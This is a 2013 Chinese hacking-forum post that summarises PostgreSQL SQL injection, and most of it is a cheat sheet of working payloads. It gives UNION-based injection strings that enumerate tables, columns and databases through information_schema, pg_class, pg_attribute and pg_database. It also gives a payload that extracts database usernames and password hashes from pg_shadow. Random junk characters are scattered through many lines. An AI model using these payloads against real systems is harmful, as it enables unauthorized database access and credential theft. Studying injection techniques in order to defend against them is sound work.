找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2217|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点) l: k4 g, ?+ O" G) x' d) ]

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
* ?- {5 C3 d8 C+ p" H连接符: %20 , + , /**/

内置函数:
% r1 F$ C1 |2 c1 q; {current_database() //当前数据库名
& ], Y7 Q; F! ^session_user //会话用户
$ {7 {% s2 ?; H! c- p( L; jcurrent_user //当前数据库用户1 g, c4 b; Q! U5 b7 A
user //当前用户& g3 M( c# S4 |( T0 D6 y2 H" p2 }1 }
version() //数据库版本

Union注射:
) K: K8 H- g* g( i. porder by n–( ]# k0 n% {3 D! |1 ^" h$ l
and 1=2 union select null,null,null–" S5 v+ r. T4 L
and 1=2 union select ‘beach’,null,null–! R! z+ p3 t, N8 T' I+ d% X4 V
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
% q6 f  s1 r- Y! o6 tgroup_concat(table_name). m- R& l/ ^" L; G
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
) Z6 H2 q6 C8 Z) X2 g  n" `and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
  ?- u$ d8 N! j( q5 s9 Y5 z(老版本)
/ S5 @' P9 e9 l2 [! e- S$ `& r# ppg_class.oid对应pg_attribute.attrelid
  P8 |  X$ I# A0 U( Rpg_class.relname表名
4 d' J' `0 D+ M$ p- Mpg_attribute.attname字段名

select relname from pg_class获取表名
0 m- X) i  @) d& ~: i9 nselect oid from pg_class where 条件 获取参数
+ T& h" p+ t& u1 @1 J- Vselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:% j0 O( g$ |9 J: K3 P$ b2 z
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表" \9 T# o  E8 r6 N; J. g" w, }
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–8 Q7 l0 f7 m; O# P7 l; O' {
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
# }9 I3 e  d% V6 S+ b======================================================================0 Z3 Z6 o& y$ ^, h
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库5 e" a: t' x% r/ d2 `0 J0 o! E
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表